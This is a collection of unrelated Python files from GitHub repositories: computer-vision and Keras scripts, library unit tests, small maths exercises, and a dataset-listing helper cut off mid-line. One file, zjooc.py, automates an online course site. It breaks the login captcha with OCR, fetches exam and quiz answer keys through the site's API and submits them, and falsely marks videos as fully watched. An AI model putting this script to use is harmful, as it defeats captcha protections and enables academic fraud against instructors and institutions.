cv2.createBackgroundSubtractorKNN()\r\nbs=cv2.createBackgroundSubtractorMOG2()\r\n#bs=cv2.BackgroundSubtractor()\r\n#bs=cv2.BackgroundSubtractorKNN()\r\n#bs=cv2.BackgroundSubtractorMOG2()\r\n#bs=cv2.BackgroundSubtractor()\r\n#bs=cv2.bgsegm.createBackgroundSubtractorCNT()\r\n#bs=cv2.bgsegm.createBackgroundSubtractorGMG()\r\n#bs=cv2.bgsegm.createBackgroundSubtractorGSOC()\r\n#bs=cv2.bgsegm.createBackgroundSubtractorLSBP()\r\n#bs=cv2.bgsegm.createBackgroundSubtractorMOG()\r\n#bs=cv2.bgsegm.createSyntheticSequenceGenerator()\r\n\r\ncv2.namedWindow(\"surveillance\")\r\nvehicles = {}\r\nfirstFrame = True\r\nframes = 0\r\n#fourcc = cv2.VideoWriter_fourcc(*'XVID')\r\n#out = cv2.VideoWriter('output.avi', fourcc, 20.0, (640, 480))\r\n\r\nwhile (camera.isOpened()):\r\n ret, frame = camera.read()\r\n fgmask = bs.apply(frame)\r\n \r\n\r\n # 前20帧都没有被处理,只是被传递到BackgroundSubtractorKNN分割器\r\n if frames < history:\r\n frames += 1\r\n continue\r\n # 阈值化\r\n th = cv2.threshold(fgmask.copy(), 127, 255, cv2.THRESH_BINARY)[1]\r\n # 通过对前景掩模进行膨胀和腐蚀处理,相当于进行闭运算\r\n # 开运算:先腐蚀再膨胀\r\n # 闭运算:先膨胀再腐蚀\r\n th = cv2.erode(th, cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (3, 3)), iterations=2)\r\n dilated = cv2.dilate(th, cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (8, 3)), iterations=2)\r\n # 轮廓提取\r\n image,contours, hier = cv2.findContours(dilated, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\r\n\r\n counter = 0\r\n for c in contours:\r\n# print('105row:',c)\r\n # 对每一个轮廓,如果面积大于阈值500\r\n if cv2.contourArea(c) > 500:\r\n # 绘制外包矩形\r\n (x, y, w, h) = cv2.boundingRect(c)\r\n cv2.rectangle(frame, (x, y), (x + w, y + h), (0, 255, 0), 1)\r\n \r\n \r\n #提取ROI\r\n roi_color = frame[y: y + h, x: x + w]\r\n img=cv2.resize(roi_color,(targetsize,targetsize))\r\n X = keras.preprocessing.image.img_to_array(img)\r\n X = np.expand_dims(X, axis=0)\r\n X = preprocess_input(X)\r\n preds = model.predict(X)\r\n num=np.argmax(preds[0])\r\n label=class_names[num]\r\n img = cv2.putText(frame, \"p:\"+str(max(preds[0]))+\" \"+str(label), (x, y), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 1)\r\n if preds[0][0]==1:\r\n print(preds)\r\n# cv2.imshow('roi_color',roi_color)\r\n \r\n \r\n # 仅仅对第一帧中出现的行人实例化\r\n if firstFrame is True:\r\n vehicles[counter] = Vehicle(counter, frame, (x, y, w, h))\r\n counter += 1\r\n\r\n for i, p in vehicles.items():\r\n p.update(frame) # 更新行人行踪\r\n\r\n firstFrame = False\r\n frames += 1\r\n if ret == True:\r\n cv2.imshow(\"surveillance\", frame)\r\n else:\r\n break\r\n# cv2.imshow(\"surveillance\", frame)\r\n\r\n# out.write(frame)\r\n if cv2.waitKey(27) & 0xff == ord('q'):\r\n break\r\n#out.release()\r\ncamera.release()\r\ncv2.destroyAllWindows()\r\n","repo_name":"wangedmond/vechile_detect","sub_path":"Unit_Module_noputtext.py","file_name":"Unit_Module_noputtext.py","file_ext":"py","file_size_in_byte":6681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73287749955","text":"# Utilizando los datos y la arquitectura que considere oportuna \n# describir los distintos procesospara observar lo que la red \n# neuronal ha aprendido.\n\nfrom tensorflow.keras.applications import MobileNet, mobilenet\nfrom tensorflow.keras import Model\nimport numpy as np\nfrom tensorflow.keras.preprocessing.image import load_img, save_img, img_to_array\nimport tensorflow as tf\n\n\nimg_w = 300\nimg_h = 300\ncrop_img = 5\n\n#instanciamos el modelo\nmodel = MobileNet(weights=\"imagenet\", \n include_top=False)\n\nlayer = model.get_layer(index=-3)\nfeature_extractor = Model(inputs = model.inputs, \n outputs= layer.output)\n\n\"\"\"\nLa siguiente función se la copié a Chollet sin asco,\nes la única cosa que no terminé de entender\n\"\"\"\ndef compute_loss(input_image, layer_filter):\n activation = feature_extractor(input_image) # Esta es la imagen de salida, usando al model como función\n filter_activation = activation[:, 2:-2, 2:-2, layer_filter] # los 2 son por los bordes\n return tf.reduce_mean(filter_activation)\n\"\"\"\n\"\"\"\n\ndef grad_asc(img, layer_filter, lr):\n with tf.GradientTape() as g: #Hasta en los docs está así\n g.watch(img)\n loss = compute_loss(img, layer_filter) # el siguiente gradiente es de esta función\n grads = g.gradient(loss, img) # La magia existe\n img += lr * grads\n return loss, img\n\ndef fit_grad_asc(layer_filter, n_epochs):\n lr = 10.0 #si es chico no se ve la psicodelia\n img = init_image()\n loss= 0.0\n for _ in range(n_epochs):\n loss, img = grad_asc(img, layer_filter, lr)\n\n img = output_image(img[0].numpy()) # Lo paso sin esa dimensión extra, como un np.array\n return loss, img\n\n\ndef init_image(): \n \"\"\"\n Imagenes del perro y del triceratops\n \"\"\"\n #image = load_img(\"./Data_files/dog.10003.jpg\", target_size=(img_w, img_h, 3))\n #image = load_img(\"./Data_files/socutteeee.png\", target_size=(img_w, img_h, 3))\n \n # input_arr = img_to_array(image) \n \n # input_arr-=input_arr.mean()\n # input_arr/=input_arr.std() + 1e-5\n \n # input_arr= 0.2*np.clip(input_arr, -1, 1)\n # img = tf.reshape(input_arr, [1, img_w, img_h, 3]) #No sé porque quiere una dimensión más con el 1\n \"\"\"\n Imagen del seno\n \"\"\" \n # img = 0.2*tf.sin(0.008*(tf.range(0, img_h*img_w*3, dtype=tf.float32)%256))\n # img = tf.reshape(img, [1, img_w, img_h, 3])\n \"\"\"\n Imagen random\n \"\"\"\n img = 0.2*(tf.random.uniform((1, img_w, img_h, 3))-0.5)\n return img\n\ndef output_image(img):\n #proceso inverso\n img -= img.mean()\n img /= img.std() + 1e-5\n img *= 0.2\n\n img = img[crop_img: -crop_img, \n crop_img: -crop_img, :]\n\n img = np.clip((img + 0.5)*255, 0, 255) # RGB\n \n return img\n\n\ndef plot_filters(all_imgs, n, m, filename, n_epochs): \n margin = 10\n crop_w = img_w - crop_img * 2\n crop_h = img_h - crop_img * 2\n \n w = n * crop_w + (n - 1) * margin\n h = m * crop_h + (m - 1) * margin\n \n filters = np.zeros((w, h, 3))\n\n for i in range(n):\n for j in range(m):\n img = all_imgs[i * m + j]\n filters[(crop_w + margin) * i : (crop_w + margin) * i + crop_w, #limite x\n (crop_h + margin) * j : (crop_h + margin) * j + crop_h, #limite y\n :,] = img\n \n save_img(\"{}_filters_epochs_{}.pdf\".format(filename, n_epochs), filters)\n \n\ndef ejer4(filename, n_epochs):\n img_init = init_image()\n img_init = output_image(img_init[0].numpy()) \n save_img(\"{}_init_img_epochs_{}.pdf\".format(filename, n_epochs), img_init)\n \n all_imgs = []\n n, m = 1, 2 # array para el plot\n\n for layer_filter in range(n*m):\n layer_filter= layer_filter + 2\n loss, img = fit_grad_asc(layer_filter, n_epochs)\n all_imgs.append(img)\n \n plot_filters(all_imgs, n, m, filename, n_epochs)\n \nif __name__ == '__main__':\n ejer4(\"random\", 50)\n ","repo_name":"astrocronopio/DNN_IB","sub_path":"Practica_5/ejer/ejer4.py","file_name":"ejer4.py","file_ext":"py","file_size_in_byte":3946,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"44036980153","text":"import requests\r\nimport ddddocr\r\nimport re\r\nimport html\r\n# from rich import print\r\n'''\r\n脱机实现 zjooc 秒过章节内容和作业、测验、考试等。\r\n\r\n\r\n感谢@Summmmmmary同学提醒,调用的ddddocr库必须运行在python 3.9 及以下.(我自己是3.9.8\r\n'''\r\n\r\nHeaders = {\r\n 'Accept':'application/json, text/javascript, */*; q=0.01',\r\n 'SignCheck':'311b2837001279449a9ac84d026e11c5',\r\n 'TimeDate':'1646754554000',\r\n # 这里的TimeDate 和 SignCheck 是时间戳和加密后的token\r\n 'User-Agent':'Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/99.0.4844.51Safari/537.36',\r\n }\r\ncouseLst=[]\r\nvideoMsgLst=[]\r\nunvideoMsgLst=[]\r\nexamMsgLst=[]\r\nquizeMsgLst=[]\r\nuserInfoLst=[]\r\nbatchDict={}\r\n\r\ndef getCaptchaCode() -> dict :# 获取验证码信息\r\n headers = {\r\n 'User-Agent':'Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/98.0.4758.102Safari/537.36',\r\n }\r\n captchaurl = 'https://centro.zjlll.net/ajax?&service=/centro/api/authcode/create¶ms='\r\n res = requests.get(captchaurl,headers=headers).json()['data']\r\n # img_bytes = base64.b64decode(b64_img)\r\n # with open(\"test.jpg\", 'wb') as f:\r\n # f.write(img_bytes)\r\n return res\r\n\r\n# 这里进行账号登陆\r\ndef login(username='', password=''):\r\n captchaCodedata = getCaptchaCode()\r\n captchaId = captchaCodedata['id']# 验证码ID\r\n ocr = ddddocr.DdddOcr()\r\n captchaCode = ocr.classification(img_base64=captchaCodedata['image'])# 验证码内容\r\n print(captchaId)\r\n logindata = {\r\n 'login_name':username,\r\n 'password':password,\r\n 'captchaCode':captchaCode,\r\n 'captchaId':captchaId,\r\n 'redirect_url':'https://www.zjooc.cn',\r\n 'app_key':'0f4cbab4-84ee-48c3-ba4c-874578754b29',\r\n 'utoLoginTime':'7'\r\n }\r\n # 这里并没有做异常处理 一般情况下你账号密码正确 没有什么问题 可能验证码错误重试即可。\r\n res = requests.post('https://centro.zjlll.net/login/doLogin', data = logindata).json()\r\n param = {\r\n #'time': 'm6kxkKnDKxj7kP6yziFQiB8JcAXrsBC41646796129000',\r\n # time 可以不传 是一个时间戳加密后的数据\r\n 'auth_code': res['authorization_code'],\r\n 'autoLoginTime': '7'\r\n }\r\n res = requests.get('https://www.zjooc.cn/autoLogin',params=param)\r\n \r\n global cookie \r\n cookie = requests.utils.dict_from_cookiejar(res.cookies)\r\n\r\ndef getUserInfo() -> list :\r\n userInfoData = requests.get('https://www.zjooc.cn/ajax?service=/centro/api/user/getProfile¶ms[withDetail]=true',headers=Headers,cookies=cookie).json()['data']\r\n global cuserInfoDLst\r\n # userInfoLst=[]\r\n print(userInfoData)\r\n \r\n couseMsg={\r\n 'name':userInfoData['name'],\r\n 'corpName':userInfoData['corpName'],\r\n 'studentNo':userInfoData['studentNo'],\r\n 'loginName':userInfoData['loginName'],\r\n 'roleType':userInfoData['roleType'],\r\n }\r\n userInfoLst.append(couseMsg)\r\n print(userInfoLst)\r\n return userInfoLst\r\ndef getCourseMsg() -> list:\r\n courseMsgData = requests.get('https://www.zjooc.cn/ajax?service=/jxxt/api/course/courseStudent/student/course¶ms[pageNo]=1¶ms[pageSize]=5¶ms[coursePublished]=¶ms[courseName]=¶ms[publishStatus]=¶ms[batchKey]=',headers=Headers,cookies=cookie).json()['data']\r\n global couseLst\r\n global batchDict\r\n # couseLst=[]\r\n # batchDict={}\r\n for i in range(len(courseMsgData)):\r\n couseMsg={\r\n 'id':i,\r\n 'courseId':courseMsgData[i]['id'],\r\n 'courseName':courseMsgData[i]['name'],\r\n 'courseBatchId':courseMsgData[i]['batchId'],\r\n 'courseProcessStatus':courseMsgData[i]['processStatus'],\r\n }\r\n couseLst.append(couseMsg)\r\n batchDict.update({\r\n courseMsgData[i]['id']:courseMsgData[i]['batchId']\r\n })\r\n print(couseLst)\r\n return couseLst\r\n\r\ndef getQuizeMsg() -> list : \r\n params = {\r\n 'service':'/tkksxt/api/admin/paper/student/page',\r\n 'params[pageNo]':'1',\r\n 'params[pageSize]':'20',\r\n 'params[paperType]':'1',\r\n 'params[courseId]':'',\r\n 'params[processStatus]':'',\r\n 'params[batchKey]':''\r\n }\r\n quizeMsgData = requests.get('https://www.zjooc.cn/ajax', params=params,cookies=cookie,headers=Headers).json()['data']\r\n\r\n global quizeMsgLst\r\n # quizeMsgLst=[]\r\n for i in range(len(quizeMsgData)):\r\n quizeMsg={\r\n 'id':i,\r\n 'courseName':quizeMsgData[i]['courseName'],\r\n 'paperName':quizeMsgData[i]['paperName'],\r\n 'classId':quizeMsgData[i]['classId'],\r\n 'courseId':quizeMsgData[i]['courseId'],\r\n 'paperId':quizeMsgData[i]['paperId'],\r\n 'scorePropor':quizeMsgData[i]['scorePropor']\r\n }\r\n quizeMsgLst.append(quizeMsg)\r\n print(quizeMsgLst)\r\n return quizeMsgLst\r\n\r\ndef getExamMsg() -> list : \r\n params = {\r\n 'service':'/tkksxt/api/admin/paper/student/page',\r\n 'params[pageNo]':'1',\r\n 'params[pageSize]':'20',\r\n 'params[paperType]':'0',\r\n 'params[courseId]':'',\r\n 'params[processStatus]':'',\r\n 'params[batchKey]':''\r\n }\r\n exameMsgData = requests.get('https://www.zjooc.cn/ajax', params=params, cookies=cookie, headers=Headers).json()['data']\r\n global examMsgLst\r\n # examMsgLst=[]\r\n for i in range(len(exameMsgData)):\r\n examMsg={\r\n 'id':i,\r\n 'courseName':exameMsgData[i]['courseName'],\r\n 'paperName':exameMsgData[i]['paperName'],\r\n 'classId':exameMsgData[i]['classId'],\r\n 'courseId':exameMsgData[i]['courseId'],\r\n 'paperId':exameMsgData[i]['paperId'],\r\n 'scorePropor':exameMsgData[i]['scorePropor']\r\n }\r\n examMsgLst.append(examMsg)\r\n print(examMsgLst)\r\n return examMsgLst\r\n\r\ndef getWorkMsg() -> list :\r\n ...# 作业还未涉及到先画个大饼。\r\n\r\ndef getAnswers(paperId,courseId) -> dict :\r\n answesdata = {\r\n 'service':'/tkksxt/api/student/score/scoreDetail',\r\n 'body':'true',\r\n 'params[batchKey]':batchDict[courseId],\r\n 'params[paperId]':paperId,\r\n 'params[courseId]':courseId\r\n }\r\n answerMsgData = requests.post('https://www.zjooc.cn/ajax',data=answesdata,headers=Headers,cookies=cookie).json()['data']['paperSubjectList']\r\n print({html.unescape(re.sub(r'<[^>]*?>','',andata['subjectName'])).replace('\\n',''):andata['rightAnswer'] for andata in answerMsgData})\r\n # 返回题目ID及其对应的答案,后面直接上传\r\n return {andata['id']:andata['rightAnswer'] for andata in answerMsgData}\r\n \r\ndef getVideoMsg(courseId) -> list: \r\n # vdata = {\r\n # 'service':'/jxxt/api/course/courseStudent/getStudentCourseChapters',\r\n # 'params[pageNo]':'1',\r\n # 'params[urlNeed]:':\"batchDict[courseId]\",\r\n # 'params[courseId]':courseId\r\n # }\r\n videoMsgData = requests.get('https://www.zjooc.cn/ajax?service=/jxxt/api/course/courseStudent/getStudentCourseChapters¶ms[pageNo]=1¶ms[courseId]='+courseId+'¶ms[urlNeed]=0',cookies=cookie,headers=Headers).json()['data']\r\n global videoMsgLst\r\n global unvideoMsgLst\r\n # videoMsgLst=[]\r\n # unvideoMsgLst=[]\r\n x = 0\r\n for videodata in videoMsgData:\r\n className = videodata['name']\r\n videoMsgData1 = videodata['children']\r\n for videodata1 in videoMsgData1:\r\n className1 = videodata1['name']\r\n videoMsgData2 = videodata1['children']\r\n for videodata2 in videoMsgData2:\r\n # resourceType -> 1和2是视频或者字幕\r\n # learnStatus -> 0:表示尚未学习 2:表示已学习 1:可能处于学与未学的薛定谔状态\r\n if (videodata2['resourceType']==1 or videodata2['resourceType']==2) and videodata2['learnStatus']==0:\r\n videoMsg = {\r\n 'id':x,\r\n 'Name':className+'-'+className1+'-'+videodata2['name'],\r\n 'courseId':courseId,\r\n 'chapterId':videodata2['id'],\r\n 'time':videodata2['vedioTimeLength'],\r\n # 'learnStatus':videoMsgData2[n]['learnStatus']\r\n }\r\n videoMsgLst.append(videoMsg)\r\n elif videodata2['learnStatus']==0 :\r\n videoMsg = {\r\n 'id':x,\r\n 'Name':className+'-'+className1+'-'+videodata2['name'],\r\n 'courseId':courseId,\r\n 'chapterId':videodata2['id'],\r\n #'learnStatus':videoMsgData2[n]['learnStatus']\r\n }\r\n unvideoMsgLst.append(videoMsg)\r\n x+=1\r\n print(videoMsgLst)\r\n\r\ndef doAnswer(paperId, courseId,classId) -> int :\r\n '''\r\n 做答案\r\n '''\r\n # 获取题目答案\r\n qaData = getAnswers(paperId,courseId)\r\n # 申请答题\r\n answesparams = {\r\n 'service':'/tkksxt/api/admin/paper/getPaperInfo',\r\n 'params[paperId]':paperId,\r\n 'params[courseId]':courseId,\r\n 'params[classId]':classId, \r\n 'params[batchKey]':batchDict[courseId],\r\n }\r\n MsgData = requests.get('https://www.zjooc.cn/ajax',params=answesparams,cookies=cookie,headers=Headers).json()['data']\r\n # 提交答案\r\n #batchKey\r\n id = MsgData['id']\r\n stuId = MsgData['stuId']\r\n #clazzId=calssid\r\n scoreId=MsgData['scoreId']\r\n MsgData1 = MsgData['paperSubjectList']\r\n sendAnswerData = { \r\n 'service':'/tkksxt/api/student/score/sendSubmitAnswer',\r\n 'body':'true',\r\n 'params[batchKey]':batchDict[courseId],\r\n 'params[id]':id,\r\n 'params[stuId]':stuId,\r\n 'params[clazzId]':classId,\r\n 'params[scoreId]':scoreId,\r\n }\r\n\r\n for i in range(len(MsgData1)):\r\n qadic = {\r\n f'params[paperSubjectList][{i}][id]':MsgData1[i]['id'],\r\n f'params[paperSubjectList][{i}][subjectType]':MsgData1[i]['subjectType'],\r\n f'params[paperSubjectList][{i}][answer]':qaData[MsgData1[i]['id']]\r\n }\r\n sendAnswerData.update(qadic)\r\n print(sendAnswerData)\r\n res = requests.post('https://www.zjooc.cn/ajax',data=sendAnswerData,cookies=cookie,headers=Headers).content.decode('utf-8')\r\n print(res)\r\n\r\ndef doVideo() -> int :\r\n '''\r\n 秒过章节内容。\r\n '''\r\n # 手动填入要做的video 的 courseid\r\n getVideoMsg()\r\n for i in videoMsgLst:\r\n videoparams = {\r\n 'service':'/learningmonitor/api/learning/monitor/videoPlaying',\r\n 'params[chapterId]':i['chapterId'],\r\n 'params[courseId]':i['courseId'],\r\n '¶ms[playTime]':i['time'], \r\n 'params[percent]':'100'\r\n }\r\n params = 'service=/learningmonitor/api/learning/monitor/videoPlaying¶ms[chapterId]='+i['chapterId']+'¶ms[courseId]='+i['courseId']+'¶ms[playTime]='+str(i['time'])+'¶ms[percent]=100'\r\n res = requests.get('https://www.zjooc.cn/ajax?'+params,cookies=cookie,headers=Headers).json()\r\n print(res)\r\n for n in unvideoMsgLst:\r\n params = 'service=/learningmonitor/api/learning/monitor/finishTextChapter¶ms[courseId]='+n['courseId']+'¶ms[chapterId]='+n['chapterId']\r\n res = requests.get('https://www.zjooc.cn/ajax?'+params,cookies=cookie,headers=Headers).json()\r\n print(res)\r\n\r\n\r\ndef doan():\r\n '''\r\n 秒过测验、考试 作业还没搞\r\n '''\r\n for exammsg in examMsgLst:\r\n if exammsg['scorePropor'] != '100/100.0':\r\n doAnswer(paperId=exammsg['paperId'], courseId=exammsg['courseId'],classId=exammsg['classId'])\r\n\r\n for quizemsg in quizeMsgLst:\r\n if quizemsg['scorePropor'] != '100/100.0':\r\n doAnswer(paperId=quizemsg['paperId'], courseId=quizemsg['courseId'],classId=quizemsg['classId'])\r\n\r\n\r\ndef getans():\r\n '''\r\n 秒过测验、考试 作业还没搞\r\n '''\r\n for exammsg in examMsgLst:\r\n if exammsg['scorePropor'] != '100/100.0':\r\n getAnswers(paperId=exammsg['paperId'],courseId=exammsg['courseId'])\r\n\r\n\r\n for quizemsg in examMsgLst:\r\n if quizemsg['scorePropor'] != '100/100.0':\r\n getAnswers(paperId=quizemsg['paperId'],courseId=quizemsg['courseId'])\r\n\r\n\r\nif __name__==\"__main__\":\r\n ##########初始化##########\r\n login()\r\n getCourseMsg()\r\n #########################\r\n # getUserInfo()\r\n # getVideoMsg(\"2c9180827dc7c093017df98808ea5506\")\r\n # getQuizeMsg()\r\n # getExamMsg()\r\n # doVideo()\r\n # getans()\r\n # doan()\r\n\r\n","repo_name":"cccwh78/zjoocTool","sub_path":"zjooc.py","file_name":"zjooc.py","file_ext":"py","file_size_in_byte":12612,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"25014018316","text":"import pytest\n\nfrom ..helpers import equal_when_sorted\n\n\ndef test_group_pairs():\n from bionic.utils.misc import group_pairs\n\n assert group_pairs([]) == []\n assert group_pairs([1, 2]) == [(1, 2)]\n assert group_pairs([1, 2, 3, 4, 5, 6]) == [(1, 2), (3, 4), (5, 6)]\n\n with pytest.raises(ValueError):\n group_pairs([1])\n with pytest.raises(ValueError):\n group_pairs([1, 2, 3])\n\n\ndef test_immutable_sequence():\n from bionic.utils.misc import ImmutableSequence\n\n class Seq(ImmutableSequence):\n def __init__(self, items):\n super(Seq, self).__init__(items)\n\n seq = Seq([1, 2, 3])\n\n assert seq[0] == 1\n assert seq[2] == 3\n assert seq[-2] == 2\n\n assert list(seq) == [1, 2, 3]\n assert len(seq) == 3\n\n assert 1 in seq\n assert 4 not in seq\n\n assert {seq: 7}[seq] == 7\n\n assert seq == Seq([1, 2, 3])\n assert seq != Seq([1, 3, 2])\n assert seq != [1, 2, 3]\n\n assert seq < Seq([1, 3, 2])\n assert seq <= Seq([1, 3, 2])\n assert Seq([1, 3, 2]) > seq\n assert Seq([1, 3, 2]) >= seq\n\n\ndef test_immutable_mapping():\n from bionic.utils.misc import ImmutableMapping\n\n class Mapping(ImmutableMapping):\n def __init__(self, values_by_key):\n super(Mapping, self).__init__(values_by_key)\n\n mapping = Mapping({\"a\": 1, \"b\": 2})\n\n assert mapping[\"a\"] == 1\n assert mapping[\"b\"] == 2\n with pytest.raises(KeyError):\n mapping[\"c\"]\n\n assert mapping.get(\"a\") == 1\n assert mapping.get(\"c\") is None\n\n assert {mapping: 7}[mapping] == 7\n\n assert equal_when_sorted(list(mapping), [\"a\", \"b\"])\n assert dict(mapping) == {\"a\": 1, \"b\": 2}\n assert equal_when_sorted(list(mapping.keys()), [\"a\", \"b\"])\n assert equal_when_sorted(list(mapping.values()), [1, 2])\n assert equal_when_sorted(list(mapping.items()), [(\"a\", 1), (\"b\", 2)])\n assert equal_when_sorted(list(mapping.keys()), [\"a\", \"b\"])\n assert equal_when_sorted(list(mapping.values()), [1, 2])\n assert equal_when_sorted(list(mapping.items()), [(\"a\", 1), (\"b\", 2)])\n\n assert mapping == Mapping({\"a\": 1, \"b\": 2})\n assert mapping != {\"a\": 1, \"b\": 2}\n assert mapping != Mapping({\"b\": 1, \"a\": 2})\n assert mapping < Mapping({\"b\": 1, \"a\": 2})\n assert mapping <= Mapping({\"b\": 1, \"a\": 2})\n assert Mapping({\"b\": 1, \"a\": 2}) > mapping\n assert Mapping({\"b\": 1, \"a\": 2}) >= mapping\n\n\ndef test_oneline():\n from bionic.utils.misc import oneline\n\n assert oneline(\"one two\") == \"one two\"\n assert oneline(\" one two \") == \"one two\"\n assert oneline(\"\\none\\ntwo\") == \"one two\"\n assert (\n oneline(\n \"\"\"\n one\n two three\"\"\"\n )\n == \"one two three\"\n )\n assert (\n oneline(\n \"\"\"\n one\n two\n\n three\n \"\"\"\n )\n == \"one two three\"\n )\n\n\ndef test_clean_docstring():\n from bionic.utils.misc import rewrap_docstring\n\n assert rewrap_docstring(\"\") == \"\"\n assert rewrap_docstring(\"test\") == \"test\"\n assert rewrap_docstring(\"test one two\") == \"test one two\"\n assert rewrap_docstring(\"test\\none\\ntwo\") == \"test one two\"\n assert rewrap_docstring(\"test 1. 2.\") == \"test 1. 2.\"\n assert rewrap_docstring(\"test\\n\\none\\ntwo\") == \"test\\none two\"\n\n doc = \"\"\"\n test\n \"\"\"\n assert rewrap_docstring(doc) == \"test\"\n\n doc = \"\"\"\n test one\n two\n \"\"\"\n assert rewrap_docstring(doc) == \"test one two\"\n\n doc = \"\"\"\n test one\n two\n \"\"\"\n assert rewrap_docstring(doc) == \"test one two\"\n\n doc = \"\"\"\n test one\n\n two\n \"\"\"\n assert rewrap_docstring(doc) == \"test one\\ntwo\"\n\n doc = \"\"\"\n test\n - one\n - two\n \"\"\"\n assert rewrap_docstring(doc) == \"test\\n- one\\n- two\"\n\n doc = \"\"\"\n test\n + one\n + two\n \"\"\"\n assert rewrap_docstring(doc) == \"test\\n+ one\\n+ two\"\n\n doc = \"\"\"\n test\n * one\n * two\n \"\"\"\n assert rewrap_docstring(doc) == \"test\\n* one\\n* two\"\n\n doc = \"\"\"\n test\n 1. one\n 2. two\n \"\"\"\n assert rewrap_docstring(doc) == \"test\\n1. one\\n2. two\"\n\n doc = \"\"\"\n test\n 1) one\n 2) two\n \"\"\"\n assert rewrap_docstring(doc) == \"test\\n1) one\\n2) two\"\n\n doc = \"\"\"\n test\n 10) one\n 20) two\n \"\"\"\n assert rewrap_docstring(doc) == \"test\\n10) one\\n20) two\"\n\n doc = \"\"\"\n test\n a) one\n b) two\n \"\"\"\n assert rewrap_docstring(doc) == \"test\\na) one\\nb) two\"\n\n doc = \"\"\"\n test\n 1.0\n \"\"\"\n assert rewrap_docstring(doc) == \"test 1.0\"\n\n doc = \"\"\"\n test (one\n two)\n \"\"\"\n assert rewrap_docstring(doc) == \"test (one two)\"\n\n doc = \"\"\"\n test\n - one\n - two\n\n - three\n - four\n \"\"\"\n assert rewrap_docstring(doc) == \"test\\n- one\\n- two\\n\\n- three\\n- four\"\n\n doc = \"\"\"\n test\n - one\n two\n \"\"\"\n assert rewrap_docstring(doc) == \"test\\n- one two\"\n\n doc = \"\"\"\n test\n - one\n\n two\n \"\"\"\n assert rewrap_docstring(doc) == \"test\\n- one\\ntwo\"\n","repo_name":"square/bionic","sub_path":"tests/test_utils/test_misc.py","file_name":"test_misc.py","file_ext":"py","file_size_in_byte":4945,"program_lang":"python","lang":"en","doc_type":"code","stars":102,"dataset":"github-code","pt":"61"} +{"seq_id":"2979655474","text":"'''A palindromic number reads the same both ways. The largest palindrome made from the product of two 2-digit numbers is 9009 = 91 × 99.\n\nFind the largest palindrome made from the product of two 3-digit numbers.'''\n\ndef isPalindrome(number):\n t=number\n rev_num=0\n while t>0:#For reversing a number\n d=t%10\n t//=10\n rev_num=rev_num*10+d\n if number==rev_num:# checks if the reverse of the number is equal to the number itselfz\n return True\n return False\n\nlargest=0\nfor x in range(999,99,-1):\n for y in range(x,1000):\n if isPalindrome((x*y)):\n if x*y>largest:\n largest=x*y\n \n\nprint(\"The required largest palindrome number is \",largest)","repo_name":"cricsion/ProjectEulerSolutions","sub_path":"Problem4.py","file_name":"Problem4.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"465871999","text":"# Подсчитать сумму цифр в вещественном числе.\n\ndef inp_float():\n is_Error = True\n while is_Error:\n n = input('Введите вещественное число n = ')\n try:\n float(n)\n is_Error = False\n except ValueError:\n is_Error = True\n return n\n\nstr = inp_float()\nresult = sum([int(x) for x in str if x != '.' and x != '-'])\nprint('Сумма цифр в числе:', result)","repo_name":"Netix007/python_homework3","sub_path":"Task14/task14.py","file_name":"task14.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23253964828","text":"#!/usr/bin/env python3\n\nfrom scipy.sparse import diags\nfrom scipy.sparse.linalg import spsolve\nfrom scipy.linalg import norm\nimport numpy as np\n\n# Define a 100x100 sparse tridiagonal matrix.\ndiagonals = [2 * np.ones(100), -1 * np.ones(99), -1 * np.ones(99)]\nA = diags(diagonals, [0, -1, 1], format='csr')\n\n# Define b and x_ex.\nx_ex = np.ones(100)\nb = A @ x_ex\n\n# Solve the linear system Ax = b.\nx = spsolve(A, b)\n\n# Compute norms of the residual and error.\nresidual = b - A @ x\nerror = x - x_ex\n\nnorm1_res = norm(residual, 1)\nnorm2_res = norm(residual, 2)\nnorm_inf_res = norm(residual, np.inf)\n\nnorm1_err = norm(error, 1)\nnorm2_err = norm(error, 2)\nnorm_inf_err = norm(error, np.inf)\n","repo_name":"pcafrica/advanced_programming_2023-2024","sub_path":"exercises/11/solutions/ex2_1.py","file_name":"ex2_1.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"61"} +{"seq_id":"73415496193","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Sep 29 15:45:43 2022\n\n@author: gabri\n\"\"\"\n\nimport os\nimport pandas as pd\nimport numpy as np\n\ndef list_datasets(path_osmose_dataset, nargout=0):\n \n l_ds = sorted(os.listdir(path_osmose_dataset))\n \n if nargout == 0:\n print(\"Available datasets:\")\n\n for ds in l_ds:\n print(\" - {}\".format(ds))\n\n else:\n return l_ds\n \ndef list_files(startpath, level_max = 2):\n for root, dirs, files in os.walk(startpath):\n level = root.replace(startpath, '').count(os.sep)\n print(level)\n if level <= level_max:\n indent = ' ' * 4 * (level)\n print('{}{}/'.format(indent, os.path.basename(root)))\n subindent = ' ' * 4 * (level + 1)\n for f in files:\n print('{}{}'.format(subindent, f))\n\ndef check_available_ai_tasks_bm(path_osmose_AI):\n for root, dirs, files in os.walk(path_osmose_AI):\n level = root.replace(path_osmose_AI, '').count(os.sep)\n indent = ' ' * 4 * (level)\n if level <= 2 and level > 0:\n print('{}{}/'.format(indent, os.path.basename(root)))\n \n \ndef check_available_annotation(path_osmose_dataset, dataset_ID):\n base_path = path_osmose_dataset + os.sep + dataset_ID + os.sep + 'final' + os.sep + 'Annotation_Aplose' + os.sep\n print('Dataset : ',dataset_ID)\n 